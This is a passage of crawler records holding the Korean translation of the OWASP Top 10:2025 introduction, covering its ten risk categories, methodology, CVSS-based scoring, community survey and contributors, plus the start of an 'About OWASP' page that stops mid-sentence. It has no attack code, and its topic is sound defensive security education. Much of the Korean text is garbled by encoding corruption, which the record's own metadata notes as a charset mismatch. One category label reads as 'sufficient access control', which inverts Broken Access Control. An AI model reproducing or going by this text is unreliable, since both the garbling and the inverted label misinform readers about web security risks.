"utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-13 21:17:24", "sha256": "20f50b7c13d0103b37ba2064178b3e8d2b0a7c48665d56b536d346294b3594cc", "hloubka": 1, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/Top10", "https://github.com/OWASP/www-project-top-ten", "http://creativecommons.org/licenses/by/3.0/deed.en_US", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/Top10/2025/ko/0x00_2025-Introduction/", "titulek": "소개 - OWASP Top 10:2025", "h1": "가장 위험한 10대 웹 ě• í”ŒëŚŹěź€ě´ě…˜ 보안 위험", "popis": "OWASP Top 10:2025", "klicova_slova": "", "kanonicka": "https://owasp.org/Top10/2025/ko/0x00_2025-Introduction/", "jazyk": "ko", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "가장 위험한 10대 웹 ě• í”ŒëŚŹěź€ě´ě…˜ 보안 위험"}, {"uroven": 1, "text": "소개"}, {"uroven": 2, "text": "OWASP Top 10:2025 소개"}, {"uroven": 2, "text": "2025년 Top 10의 변화"}, {"uroven": 2, "text": "방법ëĄ"}, {"uroven": 2, "text": "ěš´í…Œęł ëŚŹ 구성 방식"}, {"uroven": 2, "text": "ěš´í…Œęł ëŚŹ ě„ ě •ě„ 위한 데이터 사용법"}, {"uroven": 2, "text": "커뮤니티 설문 조사를 사용하는 이ěœ"}, {"uroven": 2, "text": "데이터 ě œęłľěžë“¤ęť˜ 드리는 감사의 글"}, {"uroven": 2, "text": "주요 ě €ěž"}, {"uroven": 2, "text": "이슈 및 풀 리퀘스트 ě œěśœ"}, {"uroven": 3, "text": "í”„ëĄœě íŠ¸ 링큏"}], "markdown": "# 가장 위험한 10대 웹 ě• í”ŒëŚŹěź€ě´ě…˜ 보안 위험\n\n# 소개\n\nOWASP Top 10의 8번째 ë˛„ě „ě— ě˜¤ě‹ ę˛ƒě„ 환영합니다!\n\n데이터와 설문 조사를 통해 견해를 ë‚˜ëˆ ěŁźě‹ ëŞ¨ë“ ëś„ęť˜ 깊은 감사를 드립니다. 여러분 없이는 이번 ë˛„ě „ě´ 없었을 겁니다. **감사합니다!**\n\n## OWASP Top 10:2025 소개\n\n- [A01:2025 - 충분한 ě ‘ęˇź ě œě–´](../A01_2025-Broken_Access_Control/)\n- [A02:2025 - 보안 ě„¤ě • 오뼘](../A02_2025-Security_Misconfiguration/)\n- [A03:2025 - 소프트웨어 공급망 실패](../A03_2025-Software_Supply_Chain_Failures/)\n- [A04:2025 - 암호 체계 실패](../A04_2025-Cryptographic_Failures/)\n- [A05:2025 - ě¸ě ě…˜](../A05_2025-Injection/)\n- [A06:2025 - ě•ˆě „í•˜ě§€ 않은 설계](../A06_2025-Insecure_Design/)\n- [A07:2025 - 인증 실패](../A07_2025-Authentication_Failures/)\n- [A08:2025 - 소프트웨어 또는 데이터 무결성 실패](../A08_2025-Software_or_Data_Integrity_Failures/)\n- [A09:2025 - 보안 로깅 및 알림 실패](../A09_2025-Security_Logging_and_Alerting_Failures/)\n- [A10:2025 - ëś€ě ě ˆí•œ 예외 처댏](../A10_2025-Mishandling_of_Exceptional_Conditions/)\n\n## 2025년 Top 10의 변화\n\n2025년 Top 10의 변화로는 두 개의 ě‹ ęˇœ ěš´í…Œęł ëŚŹě™€ 하나의 ěš´í…Œęł ëŚŹę°€ 통합되었다. ě €íŹëŠ” 가능한 한 증상보다는 ꡟ본 원인에 ě´ˆě ě„ 두었다. 소프트웨어 엔지니어링과 소프트웨어 보안의 복잡성을 ęł ë ¤í• ë•Œ, 어느 ě •ë„ 중복이 없는 10개의 ěš´í…Œęł ëŚŹëĽź 만드는 것은 사실상 불가능했다.\n\n- **[A01:2025 - 충분한 ě ‘ęˇź ě œě–´](../A01_2025-Broken_Access_Control/)** 은 가장 심각한 ě• í”ŒëŚŹěź€ě´ě…˜ 보안 위험으로 1위를 ěœ ě§€í•˜ě˜€ë‹¤. ě œęłľëœ 데이터에 따르면 테스트된 ě• í”ŒëŚŹěź€ě´ě…˜ě˜ í‰ęˇ 3.73%가 이 ěš´í…Œęł ëŚŹě— 해당하는 40氜 CWE(Common Weakness Enumeration) 중 하나 이상을 ę°€ě§€ęł ěžˆě—ˆë‹¤. 위 그림의 ě ě„ ěœźëĄœ 표시된 바와 같이, Server-Side Request Forgery(SSRF)가 이 ěš´í…Œęł ëŚŹě— 통합되었다.\n- **[A02:2025 - 보안 ě„¤ě • 오뼘](../A02_2025-Security_Misconfiguration/)** 은 2021년 5위에서 2025년 2위로 상승하였다. 이번 주기에 ě œęłľëœ 데이터에서는 ě„¤ě • 오류가 더 많이 발견되었으며, 테스트된 ě• í”ŒëŚŹěź€ě´ě…˜ 중 3.00%가 이 ěš´í…Œęł ëŚŹě— 해당하는 16氜 CWE 중 하나 이상을 íŹí•¨í•˜ęł ěžˆě—ˆë‹¤. 이는 소프트웨어 엔지니어링에서 ě• í”ŒëŚŹěź€ě´ě…˜ě˜ 동작이 ě„¤ě •ě— 기반하는 비중이 ě§€ě†ě ěœźëĄœ ěŚę°€í•˜ęł ěžˆëŠ” 현황을 반영하는 결과이다.\n- **[A03:2025 - 소프트웨어 공급망 실패](../A03_2025-Software_Supply_Chain_Failures/)** 기존의 [A06:2021-ěˇ¨ě•˝í•˜ęł ě˜¤ëž˜ëœ 구성 요소](https://owasp.org/Top10/A06_2021-Vulnerable_and_Outdated_Components/) 의 범위를 확장하여, 소프트웨어 의존성, 빌드 시스템, 배포 인프라 ě „ë°˜ě—ě„œ 발생하는 광범위한 공급망 침해 사례를 포함한다. 본 ěš´í…Œęł ëŚŹëŠ” 커뮤니티 설문조사에서 가장 ěš°ë ¤ë˜ëŠ” 항목으로 ě••ë„ě ě¸ 지지를 받았다. 이 ěš´í…Œęł ëŚŹě—ëŠ” 총 5개의 CWE가 포함되어 있으며, 수집된 데이터에서는 ěƒëŒ€ě ěœźëĄœ 낮게 나타났으나, 이는 테스트상의 ě–´ë ¤ě›€ě— 기인한 것으로 판단된다. 향후 이 영역에 대한 테스트가 ëł´ě™„ë ę˛ƒěœźëĄœ 기대된다. 해당 ěš´í…Œęł ëŚŹëŠ” 데이터상 발생 빈도는 가장 낮았으나, CVE 기준으로는 í‰ęˇ ě ě¸ 악용 가능성과 영향 ě ěˆ˜ę°€ 가장 높은 것으로 확인되었다.\n- **[A04:2025 - 암호 체계 실패](../A04_2025-Cryptographic_Failures/)** 는 2위에서 4위로 두 단계 하락하였다. ě œęłľëœ 데이터에 따르면, í‰ęˇ ě ěœźëĄœ ě „ě˛´ ě• í”ŒëŚŹěź€ě´ě…˜ě˜ 3.80%가 이 ěš´í…Œęł ě— 속하는 32개의 CWE 중 하나 이상을 íŹí•¨í•˜ęł ěžˆëŠ” 것으로 나타났다. Cryptographic Failures가 발생하면 민감한 데이터의 노출이나 시스템 침해로 빈번하게 이어진다.\n- **[A05:2025 - ě¸ě ě…˜](../A05_2025-Injection/)** 은 3위에서 5위로 하락하였으나, Cryptographic Failures와 Insecure Design 등 ě¸ě ‘í•œ 항목들과의 순위에는 변동은 없었다. 이 ěš´í…Œęł ëŚŹëŠ” 테스트가 가장 활발히 수행된 ěš´í…Œęł ëŚŹ 중 하나로, 38氜 CWE에 대응되는 CVE가 가장 많이 ě œëł´ë˜ě—ˆë‹¤. Injection은 발생 빈도는 높지만 영향이 ëš„ęľě  ě ě€ Cross-site Scripting(높은 빈도/낮은 영향)부터, 발생 빈도는 낮으나 피해 규모가 큰 SQL ě¸ě ě…˜(낮은 빈도/높은 영향)까지 폭넓은 ěœ í˜•ě„ 포함한다.\n- **[A06:2025 - ě•ˆě „í•˜ě§€ 않은 설계](../A06_2025-Insecure_Design/)** 은 Security Misconfigurationęłź Software Supply Chain Failures에 ë°€ë ¤ 4위에서 6위로 두 단계 하락했다. 이 ěš´í…Œęł ëŚŹëŠ” 2021년에 도입되었으며, 이후 업계에서 위협 모델링과 ě•ˆě „í•œ 설계에 대한 인식이 높아지면서 눈에 띄는 ę°œě„ ě´ 확인되었다.\n- **[A07:2025 - 인증 실패](../A07_2025-Authentication_Failures/)** 는 7위를 ěœ ě§€í•˜ě˜€ěœźëŠ°, 해당 ěš´í…Œęł ëŚŹě— 속하는 36개의 CWE뼟 보다 ě •í™•ížˆ 반영하기 위해 명칭(\" [ě‹ ě› 확인 및 인증 실패](https://owasp.org/Top10/A07_-Identificatio_and_Authentication_Failures/) \")이 일부 변경되었다. 이 ěš´í…Œęł ëŚŹëŠ” ě—Źě „ížˆ 중요한 항목이지만, 인증을 위한 표준화된 í”„ë ˆěž„ě›ŒíŹě˜ 활용이 증가하면서 Authentication Failure 사례의 발생 빈도 감소에 ę¸ě •ě ě¸ 영향을 미친 것으로 보인다\n- **[A08:2025 - 소프트웨어 또는 데이터 무결성 실패](../A08_2025-Software_or_Data_Integrity_Failures/)** 는 이번에도 8위를 차지하였다. 이 ěš´í…Œęł ëŚŹëŠ” Software Supply Chain Failures보다 ěƒëŒ€ě ěœźëĄœ 더 로우 ë ˆë˛¨(Lower level)에서 소프트웨어, 코드, 데이터 등의 무결성을 ę˛€ěŚí•˜ęł íŠ¸ëŸŹěŠ¤íŠ¸ 바운더리(Trust Boundary) ěœ ě§€í•˜ëŠ” ęłźě •ě—ě„œ 발생하는 실패에 ě´ˆě ě„ ë‘ęł ěžˆë‹¤.\n- **[A09:2025 - 보안 로깅 및 알림 실패](../A09_2025-Security_Logging_and_Alerting_Failures/)** 는 9위를 ěœ ě§€í•˜ě˜€ë‹¤. 이 ěš´í…Œęł ëŚŹëŠ” 로깅 이벤트에 대한 ě ě ˆí•œ 대응을 ěœ ë„í•˜ëŠ” Alerting 기능의 중요성을 강조하기 위해 명칭이 변경되었다(기쥴 [보안 로깅 및 모니터링 실패](https://owasp.org/Top10/A09_2021-Security_Logging_and_Monitoring) ). 로그에서 발생한 이벤트에 대해 ě ě ˆí•œ 대응을 위한 알림(Alert) 기능의 중요성을 강조하기 위한 것이다. 알림 체계가 결여된 로깅은 보안 ě‚Źęł ëĽź 식별하는 데 ě‹¤ě§ˆě ě¸ 효과를 기대하기 ě–´ë ľë‹¤. 이 ěš´í…Œęł ëŚŹëŠ” 특성상 데이터에 과소반영되는 경향이 있으며, 이번에도 커뮤니티 설문을 통해 순위가 ę˛°ě •ë˜ě—ˆë‹¤.\n- **[A10:2025 - ëś€ě ě ˆí•œ 예외 처댏](../A10_2025-Mishandling_of_Exceptional_Conditions/)** 는 2025년에 새롭게 도입된 ěš´í…Œęł ëŚŹě´ë‹¤. 이 ěš´í…Œęł ëŚŹëŠ” 시스템이 ëš„ě •ěƒě ě¸ 상태에 직면했을 때 ë°œěƒí• ěˆ˜ 있는 ëś€ě ě ˆí•œ 오뼘 처댏, ë…źëŚŹě  오뼘, 페일 오픈(Fail Open) 등 ëš„ě •ěƒě ě¸ 상태에서 비롯되는 24氜 CWE뼟 íŹí•¨í•˜ęł ěžˆë‹¤.\n\n## 방법ëĄ\n\n이번 Top 10은 데이터에 기반하되, 데이터에 ë§šëŞŠě ěœźëĄœ 의존하지는 않는다. 수집된 데이터를 기반으로 12氜 ěš´í…Œęł ëŚŹě˜ 순위를 ě‚°ě •í•˜ě˜€ěœźëŠ°, 커뮤니티 설문조사 결곟뼟 통해 2氜 ěš´í…Œęł ëŚŹëĽź 추가로 ě„ ě •í–ˆë‹¤. 이러한 ě ‘ęˇź 방식을 채택한 ęˇźëł¸ě ě¸ ě´ěœ ëŠ”, 수집된 데이터를 분석하는 것은 ëł¸ě§ˆě ěœźëĄœ 곟깰뼟 돌아보는 작업이기 때문이다. ě• í”ŒëŚŹěź€ě´ě…˜ 보안 연구자들은 새로운 ěˇ¨ě•˝ě ě„ ë°œęľ´í•˜ęł ěƒˆëĄœěš´ 테스트 방법을 개발하는 데 많은 시간을 íˆŹěží•˜ęł ěžˆë‹¤. 이러한 테스트를 도구와 프로세스에 통합하기까지는 몇 주에서 몇 년이 소요된다. íŠšě • ěˇ¨ě•˝ě ě„ 대규모로 ě‹ ë˘°ě„ą 있게 í…ŒěŠ¤íŠ¸í• ěˆ˜ 있게 ë ë•ŒěŻ¤ě´ëŠ´ 이미 몇 년이 경과한 경우가 많다. 또한 ě‹ ë˘°ě„ą 있게 테스트하기가 ě–´ë ¤ě›Œ 데이터에 반영되지 않는 중요한 위험 항목도 존재한다. 이러한 한계를 보완하기 위해, 현장의 ě• í”ŒëŚŹěź€ě´ě…˜ 보안 및 개발 실무자들을 대상으로 커뮤니티 설문을 진행하여, 테스트 데이터에서 충분히 드러나지 않지만 ě‹¤ě œëĄœ ě§ëŠ´í•˜ęł ěžˆëŠ” 핵심 위험 요소를 파악한다.\n\n## ěš´í…Œęł ëŚŹ 구성 방식\n\n이번 OWASP Top 10에서는 ě´ě „ ë˛„ě „ęłź 비교하여 일부 ěš´í…Œęł ëŚŹę°€ 변경되었다. 아래는 주요 변경 사항에 대한 요약이다.\n\n이번 2025년 ë˛„ě „ě—ě„œëŠ” 2021년 ë˛„ě „ęłź 마찬가지로 CWE 범위를 ě œí•œí•˜ě§€ ě•Šęł ěžëŁŒëĽź 수집하였다. 2021년부터 매년 테스트 된 ě• í”ŒëŚŹěź€ě´ě…˜ 수와 테스트 결곟 하나 이상의 CWE가 발견된 ě• í”ŒëŚŹěź€ě´ě…˜ 수뼟 기준으로 집계하였다. 이러한 방식은 각 CWE의 ě „ě˛´ ě• í”ŒëŚŹěź€ě´ě…˜ě— 얼마나 널리 분포하는지 íŒŒě•…í• ěˆ˜ 있게 한다. 이번 ë˛„ě „ě—ě„œë„ CWE의 발생 빈도를 분석에서 ě œě™¸í•œë‹¤. 빈도 ě •ëł´ëŠ” 다른 상황에서는 ěœ ě˜ëŻ¸í• ěˆ˜ 있으나, ě „ě˛´ ě• í”ŒëŚŹěź€ě´ě…˜ě— íźě ¸ěžˆëŠ” ě •ë„ëĽź ě™œęłĄí• ěˆ˜ 있기 때문이다. 따라서, 한 ě• í”ŒëŚŹěź€ě´ě…˜ě—ě„œ CWE가 4ęą´ ë°œę˛Źë˜ë“ 4,000ęą´ ë°œę˛Źë˜ë“ ěˆœěœ„ ě‚°ě •ě— 영향을 주지 않는다. 이는 수동으로 테스트하는 사람은 반볾 ěˇ¨ě•˝ě ě„ 한 번만 기록하는 반늴, 자동화 도구는 ëŞ¨ë“ ěˇ¨ě•˝ě ě„ 개별 ěˇ¨ě•˝ě ěœźëĄœ 기록하기 때문이다. 분석 대상 CWE 수는 2017년 약 30氜, 2021년 약 400개에서 이번 ë˛„ě „ě— 589개로 크게 확대되었다. 향후 추가 분석을 통해 ëł´ě™„í• ęł„íšě´ëŠ°, 이러한 데이터 규모 증가는 ěš´í…Œęł ëŚŹ 구조의 변경이 불가피하였다.\n\nCWE뼟 ęˇ¸ëŁší™”í•˜ęł ëś„ëĽ˜í•˜ëŠ” 작업에 수개월이 소요되었으며, 추가로 몇 개월을 더 íˆŹěž…í• ěˆ˜ë„ 있었으나 ě ě ˆí•œ ě‹œě ě—ě„œ 마무리하였다. CWE에는 ꡟ본 원인(Root Cause) ěœ í˜•ęłź 증상(Symptom) ěœ í˜•ě´ 있다. ꡟ본 원인의 ěœ í˜•ě—ëŠ” \"암호 체계 실패\", \"ě„¤ě • 오뼘\" 등이 ěžˆęł , 증상 ěœ í˜•ě—ëŠ” \"민감한 ě •ëł´ 노출\", \"서비스 거부\" 등이 있다. 식별 및 ę°œě„ ě§€ěš¨ě„ ě œęłľí•˜ëŠ” 데 있어 근분 원인에 ě´ˆě ě„ 맞추는 것이 더 ë…źëŚŹě ě´ëŻ€ëĄœ 가능한 한 이를 ěš°ě„ ě‹œí•˜ě˜€ë‹¤. 증상보다 ꡟ본 원인에 집중하는 것은 새로운 개념이 아니며, 기쥴 Top 10도 증상과 ꡟ본 원인이 혼재되어 있었다. CWE 역시도 마찬가지로 혼재되어 있으며, 이번에는 이를 보다 명확하게 ęľŹëś„í•˜ęł ěž 하였다. 이번 ë˛„ě „ě—ě„œ ěš´í…Œęł ëŚŹë‹š í‰ęˇ CWE 수는 25개이며, 최소 5氜(A03:2025-소프트웨어 공급망 실패, A09:2025-보안 로깅 및 알림 실패)에서 최대 40氜(A01:2025-충분한 ě ‘ęˇź ě œě–´)까지 분포한다. ěš´í…Œęł ëŚŹë‹š CWE 수는 40개를 상한으로 ě„¤ě •í•˜ě˜€ë‹¤. 이러한 ěš´í…Œęł ëŚŹ 꾏쥰 개편을 통해 기업들이 사용하는 언어나 í”„ë ˆěž„ě›ŒíŹě— ě í•Ší•œ CWE에 ě§‘ě¤‘í• ěˆ˜ 있어 교육 효과가 í–Ľěƒë ę˛ƒěœźëĄœ 기대된다.\n\nMITRE가 ě„ ě •í•œ 가장 위험한 소프트웨어 ěˇ¨ě•˝ě  25개와 ěœ ě‚Źí•˜ę˛Œ 단순히 10개의 CWE 목록으로 ě „í™˜í•˜ëŠ” 것이 ě–´ë–ťę˛ ëƒëŠ” 질문을 받은 바 있다. ěš´í…Œęł ëŚŹ 내에 여러 CWE뼟 포함하는 데는 두 가지 주된 ě´ěœ ę°€ 있다.ëŞ¨ë“ í”„ëĄœęˇ¸ëž˜ë° 언어 및 í”„ë ˆěž„ě›ŒíŹě— 따라 해당 CWE가 존재하지 않을 수 있다. Top 10의 일부가 ě ěšŠë˜ě§€ 않는 경우 도구, 교육/인식 ę°œě„ í”„ëĄœęˇ¸ëž¨ 측면에서 공백이 생길 수 있다. 둘째, ěźë°˜ě ě¸ ěˇ¨ě•˝ě ě— 대해 여러 CWE가 존재한다. 예뼟 들어, ěźë°˜ě ě¸ ě¸ě ě…˜, 커멘드 ě¸ě ě…˜, 크로스 사이트 스크립팅, 하드코딩된 패스워드, 검증 부재, 버퍼 오버플로우, 믟감 ě •ëł´ě˜ 평문 ě €ěžĽ 등에 대해 각각 여러 CWE가 있다. 조직이나 테스터에 따라 서로 다른 CWE뼟 ě‚ŹěšŠí• ěˆ˜ 있다. 여러 CWE뼟 포함하는 ěš´í…Œęł ëŚŹëĽź 사용함으로써 공통된 ěš´í…Œęł ëŚŹëŞ… 하에 ë°œěƒí• ěˆ˜ 있는 다양한 ěœ í˜•ě˜ ěˇ¨ě•˝ě ě— 대한 ę¸°ě¤€ě„ ęłź 인식을 높일 수 있다. 이번 Top 10 2025에는 10氜 ěš´í…Œęł ëŚŹ 내에 248개의 CWE가 포함되어 있다. 본 문서 발행 ě‹œě  기준으로 [MITRE에서 다운로드 가능한 ě‚Źě „](https://cwe.mitre.org)에는 총 968개의 CWE가 등록되어 있다.\n\n## ěš´í…Œęł ëŚŹ ě„ ě •ě„ 위한 데이터 사용법\n\n2021년 ë˛„ě „ęłź 마찬가지로 *악용 가능성(Exploitability)* 및 *ę¸°ěˆ ě  영향도((Technical) Impact)*에 대해 CVE 데이터를 활용하였다. OWASP Dependency Check뼟 다운로드하여 CVSS Exploit 및 Impact ě ěˆ˜ëĽź ěś”ěśœí•˜ęł , CVE에 연결된 ę´€ë ¨ CWE별로 그룹화하였다. ëŞ¨ë“ CVE에 CVSSv2 ě ěˆ˜ę°€ 포함되어 있으나 CVSSv2에는 CVSSv3에서 해결된 결함이 있어 상당한 연구와 ë…¸ë Ľě´ 필요하였다. íŠšě • ě‹œě  이후의 ëŞ¨ë“ CVE에는 CVSSv3 ě ěˆ˜ë„ 함께 부여된다. 또한 CVSSv2와 CVSSv3 사이에 ě ěˆ˜ 범위와 ě‚°ě • 공식이 변경되었다.\n\nCVSSv2에서는 Exploitęłź (Technical) Impact 모두 최대 10.0까지 가능하였으나, 공식에 따라 Exploit은 60%, Impact는 40%로 ěĄ°ě •ë˜ě—ˆë‹¤. CVSSv3에서는 ě´ëĄ ěƒ 최댓값이 Exploit 6.0, Impact 4.0으로 ě œí•œë˜ě—ˆë‹¤. 가중치를 ęł ë ¤í•œ 결곟, Impact ě ěˆ˜ëŠ” CVSSv3에서 í‰ęˇ ě ěœźëĄœ 약 1.5ě  ěƒěŠší•˜ě˜€ęł , Exploitability는 í‰ęˇ ě ěœźëĄœ 약 0.5ě  하락하였다.\n\nOWASP Dependency Check에서 추출한 National Vulnerability Database(NVD) 데이터에는 CWE에 매핑된 CVE 기록이 약 175,000ęą´(2021년 125,000건에서 증가) 존재한다. 또한 CVE에 매핑된 ęł ěœ CWE는 643氜(2021년 241개에서 증가)이다. 추출된 약 220,000건의 CVE 중 160,000건은 CVSS v2 ě ěˆ˜ëĽź, 156,000건은 CVSS v3 ě ěˆ˜ëĽź, 6,000건은 CVSS v4 ě ěˆ˜ëĽź ëł´ěœ í•˜ęł ěžˆë‹¤. 다수의 CVE가 복수의 ě ěˆ˜ëĽź ëł´ěœ í•˜ęł ěžˆě–´ 합계가 220,000건을 초과한다.\n\nTop 10 2025에서는 다음과 같은 방식으로 í‰ęˇ Exploit 및 Impact ě ěˆ˜ëĽź ě‚°ě •í•˜ě˜€ë‹¤. CVSS ě ěˆ˜ę°€ 있는 ëŞ¨ë“ CVE뼟 CWE별로 ęˇ¸ëŁší™”í•˜ęł , CVSSv3 ě ěˆ˜ëĽź ëł´ěœ í•œ 비율과 CVSSv2 ě ěˆ˜ëĽź ëł´ěœ í•œ 나머지 비율에 따라 Exploit 및 Impact ě ěˆ˜ě— 가중치를 부여하여 ě „ě˛´ í‰ęˇ ě„ 산출하였다. 이 í‰ęˇ ę°’ě„ 데이터셋의 CWE에 매핑하여 위험 ě‚°ě • 공식의 나머지 ě ˆë°˜ě¸ Exploit 및 (Technical) Impact ě ěˆ˜ëĄœ 활용하였다.\n\nCVSS v4.0을 사용하지 않은 ě´ěœ ę°€ ęśę¸ˆí• ěˆ˜ 있다. 이는 ě ěˆ˜ ě‚°ě • ě•Œęł ëŚŹěŚ˜ě´ ęˇźëł¸ě ěœźëĄœ 변경되어 CVSS v2 및 v3처럼 *Exploit* 또는 *Impact* ě ěˆ˜ëĽź 쉽게 ë„ěśœí• ěˆ˜ 없기 때문이다. 향후 Top 10 ë˛„ě „ě—ě„œëŠ” CVSS v4.0 ě ěˆ˜ 활용 방안을 ëŞ¨ěƒ‰í• ęł„íšě´ë‚˜, 2025년 ë˛„ě „ě—ě„œëŠ” ě ě ˆí•œ ě‹œě ě— ě ěšŠí• ěˆ˜ 있는 방법을 찾지 못하였다.\n\n## 커뮤니티 설문 조사를 사용하는 이ěœ\n\n조사된 데이터는 주로 업계에서 자동화된 방식으로 í…ŒěŠ¤íŠ¸í• ěˆ˜ 있는 범위에 í•œě •ë˜ě–´ 있다. 경험 많은 ě• í”ŒëŚŹěź€ě´ě…˜ 보안 ě „ëŹ¸ę°€ë“¤ęłź 대화해 보늴 아직 데이터에 반영되지 않은 ěˇ¨ě•˝ě  ěœ í˜•ęłź íŠ¸ë Œë“œě— 대해 존재함을 알 수 있다. íŠšě • ěˇ¨ě•˝ě  ěœ í˜•ě— 대한 테스트 ë°Šë˛•ëĄ ě„ 개발하는 데 시간이 소요되며, 이러한 테스트를 자동화하여 대규모 ě• í”ŒëŚŹěź€ě´ě…˜ě— ě ěšŠí•˜ëŠ” 데는 더 많은 시간이 필요하다. 현재 í™•ě¸í• ěˆ˜ 있는 ëŞ¨ë“ ę˛ƒě€ 곟깰뼟 돌아보는 것이며, ꡸ ęłźě •ě—ě„œ 지난 해의 íŠ¸ë Œë“œę°€ 충분히 반영되지 않았을 가능성이 있다.\n\n따라서 데이터가 ëśˆě™„ě „í•˜ę¸° 때문에 10氜 ěš´í…Œęł ëŚŹ 중 8개만 데이터에서 ě„ ě •í•œë‹¤. 나머지 2氜 ěš´í…Œęł ëŚŹëŠ” Top 10 커뮤니티 설문조사에서 도출되었다. 이를 통해 현장 실무자들이 데이터에 포함되지 않거나 데이터로 표현되기 ě–´ë ¤ěš´ 주요 위험에 대해 ě§ě ‘ íˆŹí‘œí• ěˆ˜ 있도록 하였다.\n\n## 데이터 ě œęłľěžë“¤ęť˜ 드리는 감사의 글\n\n다음 조직들은 익명 기부자 다수와 함께 280만 ęą´ 이상의 ě• í”ŒëŚŹěź€ě´ě…˜ 데이터를 ě œęłľí•˜ě—Ź 역대 가장 ë°ŠëŒ€í•˜ęł íŹę´„ě ě¸ ě• í”ŒëŚŹěź€ě´ě…˜ 보안 데이터 세트 구축에 기여하였다. 이들의 도움 없이는 불가능한 작업이었다.\n\n- Accenture (Prague)\n- Anonymous (multiple)\n- Bugcrowd\n- Contrast Security\n- CryptoNet Labs\n- Intuitor SoftTech Services\n- Orca Security\n- Probely\n- Semgrep\n- Sonar\n- usd AG\n- Veracode\n- Wallarm\n\n## 주요 ě €ěž\n\n- Andrew van der Stock - X: [@vanderaj](https://x.com/vanderaj)\n- Brian Glas - X: [@infosecdad](https://x.com/infosecdad)\n- Neil Smithline - X: [@appsecneil](https://x.com/appsecneil)\n- Tanya Janca - X: [@shehackspurple](https://x.com/shehackspurple)\n- Torsten Gigler - Mastodon: [@[email protected]](https://infosec.exchange/@torsten_gigler)\n\n## 이슈 및 풀 리퀘스트 ě œěśœ\n\něˆ˜ě • 사항이나 이슈는 아래의 링크에 ě–¸ě œë“ ě§€ ě œěśœí• ěˆ˜ 있다.\n\n### í”„ëĄœě íŠ¸ 링큏\n\n- [홈페이지](https://owasp.org/www-project-top-ten/)\n- [GitHub ě €ěžĽě†Œ](https://github.com/OWASP/Top10)", "znaku_textu": 17206, "slov": 2060, "odkazu": 38, "kodovani": "iso-8859-2", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 10:09:29", "sha256": "efbd59996d925bb6c47b6f879ec03c4e98939235f9e45f898c00e818257e5eb0", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/Top10", "https://cwe.mitre.org/", "https://x.com/vanderaj", "https://x.com/infosecdad", "https://x.com/appsecneil", "https://x.com/shehackspurple", "https://infosec.exchange/@torsten_gigler", "http://creativecommons.org/licenses/by/3.0/deed.en_US", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/Top10/2025/ko/0x01_2025-About_OWASP/", "titulek": "OWASP 소개 - OWASP Top 10:2025", "h1": "OWASP 소개", "popis": "OWASP Top 10:2025", "klicova_slova": "", "kanonicka": "https://owasp.org/Top10/2025/ko/0x01_2025-About_OWASP/", "jazyk": "ko", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "OWASP 소개"}, {"uroven": 2, "text": "ě €ěž‘ęśŒ 및 ëźě´ě„ ěŠ¤"}], "markdown": "# OWASP 소개\n\n오픈 월드와이드 ě• í”ŒëŚŹěź€ě´ě…˜ 보안 í”„ëĄœě íŠ¸(Open Worldwide Application Security Project, OWASP)는 각 조직이 ě‹ ë˘°í• ěˆ˜ 있는 ě• í”ŒëŚŹěź€ě´ě…˜ęłź API뼟 개발, 도입, ěœ ě§€í• ěˆ˜ 있도록 지원하는 오픈 커뮤니티이다.\n\nOWASP에서는 아래와 같은 무료로 공개된 자료를 ě œęłľí•˜ęł ěžˆë‹¤.\n\n- ě• í”ŒëŚŹěź€ě´ě…˜ 보안 도구 및 표준\n- 최첨단 연구\n- 표준 ëł´ě•ˆí†ľě œ 항목 및 라이브러리\n- ě• í”ŒëŚŹěź€ě´ě…˜ 보안 테스팅, 시큐어 코딩, 코드 보안 리뷰에 관한 ě„œě \n- í”„ë ˆě 테이션 및 [동영상](https://www.youtube.com/user/OWASPGLOBAL)\n- 다양한 ěŁźě œě˜ 보안 [치트 시트](https://cheatsheetseries.owasp.org/)\n- ě „ 세계 및 온라인에서 개최되는 [챕터 모임](https://owasp.org/chapters/)\n- [이벤트, 교육 및 컨퍼런스](https://owasp.org/events/)\n- [Google Groups](https://groups.google.com/g/owasp)\n\n자세한 내용은 [https://owasp.org](https://owasp.org)에서 í™•ě¸í• ěˆ˜ 있다.\n\nOWASP의 ëŞ¨ë“ ë„ęľŹ, 문서, 동영상, í”„ë ˆě 테이션을 ě• í”ŒëŚŹěź€ě´ě…˜ 보안 ę°œě„ ě— 관심이 있는 누구나 ěžěœ ëĄ­ę˛Œ ě´ěšŠí•˜ęł ęłľěœ í• ěˆ˜ 있도록 ęłľę°œí•˜ęł ěžˆë‹¤. 각 지역 챕터의 생성 및 참여도 ěžěœ ëĄ­ę˛Œ 가능하다.\n\nOWASP는 ě• í”ŒëŚŹěź€ě´ě…˜ 보안을 사람, 프로세스, ę¸°ěˆ ě˜ ëŹ¸ě œëĄœ ě ‘ęˇźí•´ě•ź í•œë‹¤ęł ëŻżëŠ”ë‹¤. 이러한 ëŞ¨ë“ ě˜ě—­ě„ ę°œě„ í•˜ëŠ” 枌 ě• í”ŒëŚŹěź€ě´ě…˜ 보안에 대한 가장 íš¨ęłźě ě¸ ě ‘ęˇź 방식이기 때문이다.\n\nOWASP는 ěźë°˜ě ě¸ 조직과는 다른 성격을 지닌다. ěƒě—…ě  이해관계에서 ěžěœ ëĄ­ę¸° 때문에 편향되지 않으며 ě‹¤ěšŠě ě´ëŠ° 비용 íš¨ěœ¨ě ě¸ ě• í”ŒëŚŹěź€ě´ě…˜ 보안 ě •ëł´ëĽź ě œęłľí• ěˆ˜ 있다.\n\nOWASP는 íŠšě • ę¸°ěˆ ę¸°ě—…ęłź ě œíœ´í•˜ě§€ 않지만, 상용 보안 ę¸°ěˆ ě˜ 올바른 활용을 지지한다. OWASP는 다양한 ěœ í˜•ě˜ 자료를, í˜‘ë Ľě„ 통해 투명하며 ę°œë°Šě ě¸ 방식으로 ě œěž‘í•œë‹¤.\n\nOWASP 재단은 